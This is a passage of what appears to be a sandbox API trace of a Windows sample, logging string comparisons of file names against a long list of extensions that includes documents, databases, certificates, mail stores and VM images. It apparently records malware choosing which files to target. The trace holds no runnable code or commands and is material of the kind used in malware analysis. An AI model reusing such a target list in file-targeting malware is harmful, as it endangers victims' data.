(bstrLeft="pair", bstrRight=".crw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.029] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.030] VarBstrCmp (bstrLeft="pair", bstrRight=".dbf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.030] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.030] VarBstrCmp (bstrLeft="pair", bstrRight=".dcr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.030] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.030] VarBstrCmp (bstrLeft="pair", bstrRight=".der", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.030] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.030] VarBstrCmp (bstrLeft="pair", bstrRight=".dng", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.030] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.030] VarBstrCmp (bstrLeft="pair", bstrRight=".dwg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.031] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.031] VarBstrCmp (bstrLeft="pair", bstrRight=".dxf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.031] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.031] VarBstrCmp (bstrLeft="pair", bstrRight=".dxg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.031] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.031] VarBstrCmp (bstrLeft="pair", bstrRight=".eps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.031] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.031] VarBstrCmp (bstrLeft="epair", bstrRight=".java", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.031] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.032] VarBstrCmp (bstrLeft="epair", bstrRight=".jpeg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.032] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.032] VarBstrCmp (bstrLeft="pair", bstrRight=".jpg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.032] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.032] VarBstrCmp (bstrLeft="$Repair", bstrRight=".SQLITEDB", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.032] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.032] VarBstrCmp (bstrLeft="pair", bstrRight=".mdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.032] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.032] VarBstrCmp (bstrLeft="pair", bstrRight=".mdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.032] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.033] VarBstrCmp (bstrLeft="pair", bstrRight=".mef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.033] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.033] VarBstrCmp (bstrLeft="pair", bstrRight=".mrw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.033] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.033] VarBstrCmp (bstrLeft="pair", bstrRight=".nef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.033] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.033] VarBstrCmp (bstrLeft="pair", bstrRight=".png", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.033] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.034] VarBstrCmp (bstrLeft="pair", bstrRight=".odb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.034] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.034] VarBstrCmp (bstrLeft="pair", bstrRight=".odm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.034] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.034] VarBstrCmp (bstrLeft="pair", bstrRight=".odp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.034] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.034] VarBstrCmp (bstrLeft="pair", bstrRight=".ods", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.034] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.034] VarBstrCmp (bstrLeft="epair", bstrRight=".aspx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.034] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.035] VarBstrCmp (bstrLeft="pair", bstrRight=".asp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.035] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.035] VarBstrCmp (bstrLeft="pair", bstrRight=".odt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.035] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.035] VarBstrCmp (bstrLeft="pair", bstrRight=".css", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.035] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.035] VarBstrCmp (bstrLeft="pair", bstrRight=".p12", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.035] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.035] VarBstrCmp (bstrLeft="pair", bstrRight=".edb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.035] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.035] VarBstrCmp (bstrLeft="$Repair", bstrRight=".config", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.035] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.035] VarBstrCmp (bstrLeft="pair", bstrRight=".php", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.035] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.035] VarBstrCmp (bstrLeft="pair", bstrRight=".htm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.035] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.035] VarBstrCmp (bstrLeft="epair", bstrRight=".html", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.035] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.035] VarBstrCmp (bstrLeft="pair", bstrRight=".p7c", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.035] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.035] VarBstrCmp (bstrLeft="Repair", bstrRight=".class", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.035] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".pef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".pem", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".pfx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".psd", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".pst", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".r3d", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".raw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".rw2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".rar", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="air", bstrRight=".cs", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="air", bstrRight=".vb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".cpp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".wpd", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.036] VarBstrCmp (bstrLeft="pair", bstrRight=".wps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.036] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.037] VarBstrCmp (bstrLeft="pair", bstrRight=".xlk", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.037] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.037] VarBstrCmp (bstrLeft="pair", bstrRight=".vmx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.037] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.037] VarBstrCmp (bstrLeft="pair", bstrRight=".ovf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.037] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.037] VarBstrCmp (bstrLeft="epair", bstrRight=".conf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.037] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.037] VarBstrCmp (bstrLeft="pair", bstrRight=".sln", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.037] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.037] VarBstrCmp (bstrLeft="pair", bstrRight=".rtf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.037] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.037] VarBstrCmp (bstrLeft="epair", bstrRight=".vmdk", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.037] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.037] VarBstrCmp (bstrLeft="pair", bstrRight=".zip", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.037] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.037] GetLastError () returned 0x0 [0120.037] GetLastError () returned 0x0 [0120.037] GetLastError () returned 0x0 [0120.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.038] lstrcpynW (in: lpString1=0x143676c, lpString2="$Tops", iMaxLength=6 | out: lpString1="$Tops") returned="$Tops" [0120.038] GetLastError () returned 0x0 [0120.038] VarBstrCmp (bstrLeft="$Tops", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.038] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.038] VarBstrCmp (bstrLeft="Tops", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.038] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.038] VarBstrCmp (bstrLeft="ops", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.038] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.038] VarBstrCmp (bstrLeft="Tops", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.038] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.038] VarBstrCmp (bstrLeft="Tops", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.038] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.038] VarBstrCmp (bstrLeft="Tops", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.038] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.038] VarBstrCmp (bstrLeft="$Tops", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.038] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.038] VarBstrCmp (bstrLeft="Tops", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.038] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.038] VarBstrCmp (bstrLeft="Tops", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.039] VarBstrCmp (bstrLeft="Tops", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.039] VarBstrCmp (bstrLeft="Tops", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.039] VarBstrCmp (bstrLeft="Tops", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.039] VarBstrCmp (bstrLeft="Tops", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.039] VarBstrCmp (bstrLeft="$Tops", bstrRight=".proj", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.039] VarBstrCmp (bstrLeft="Tops", bstrRight=".dot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.039] VarBstrCmp (bstrLeft="$Tops", bstrRight=".docx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.039] VarBstrCmp (bstrLeft="$Tops", bstrRight=".docm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.039] VarBstrCmp (bstrLeft="$Tops", bstrRight=".dotx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.039] VarBstrCmp (bstrLeft="$Tops", bstrRight=".dotm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.039] VarBstrCmp (bstrLeft="$Tops", bstrRight=".docb", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.039] VarBstrCmp (bstrLeft="Tops", bstrRight=".xls", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.039] VarBstrCmp (bstrLeft="Tops", bstrRight=".xlt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.039] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.039] VarBstrCmp (bstrLeft="Tops", bstrRight=".xlm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.040] VarBstrCmp (bstrLeft="$Tops", bstrRight=".xlsx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.040] VarBstrCmp (bstrLeft="$Tops", bstrRight=".xlsm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.040] VarBstrCmp (bstrLeft="$Tops", bstrRight=".xltx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.040] VarBstrCmp (bstrLeft="$Tops", bstrRight=".xltm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.040] VarBstrCmp (bstrLeft="$Tops", bstrRight=".xlsb", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.040] VarBstrCmp (bstrLeft="Tops", bstrRight=".xla", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.040] VarBstrCmp (bstrLeft="$Tops", bstrRight=".xlam", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.040] VarBstrCmp (bstrLeft="Tops", bstrRight=".xll", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.040] VarBstrCmp (bstrLeft="Tops", bstrRight=".xlw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.040] VarBstrCmp (bstrLeft="Tops", bstrRight=".ppt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.040] VarBstrCmp (bstrLeft="Tops", bstrRight=".pot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.040] VarBstrCmp (bstrLeft="Tops", bstrRight=".pps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.040] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".pptx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".pptm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".potx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".potm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".ppam", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".ppsx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".ppsm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".sldx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".sldm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".ACCDB", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".SQLITE3", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="$Tops", bstrRight=".ACCDR", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.041] VarBstrCmp (bstrLeft="Tops", bstrRight=".txt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.041] VarBstrCmp (bstrLeft="Tops", bstrRight=".ned", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.041] VarBstrCmp (bstrLeft="Tops", bstrRight=".ntm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.041] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="Tops", bstrRight=".flt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="Tops", bstrRight=".nrp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="ops", bstrRight=".db", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="Tops", bstrRight=".3fr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="ops", bstrRight=".ai", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="Tops", bstrRight=".arw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="Tops", bstrRight=".bay", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="Tops", bstrRight=".cdr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] 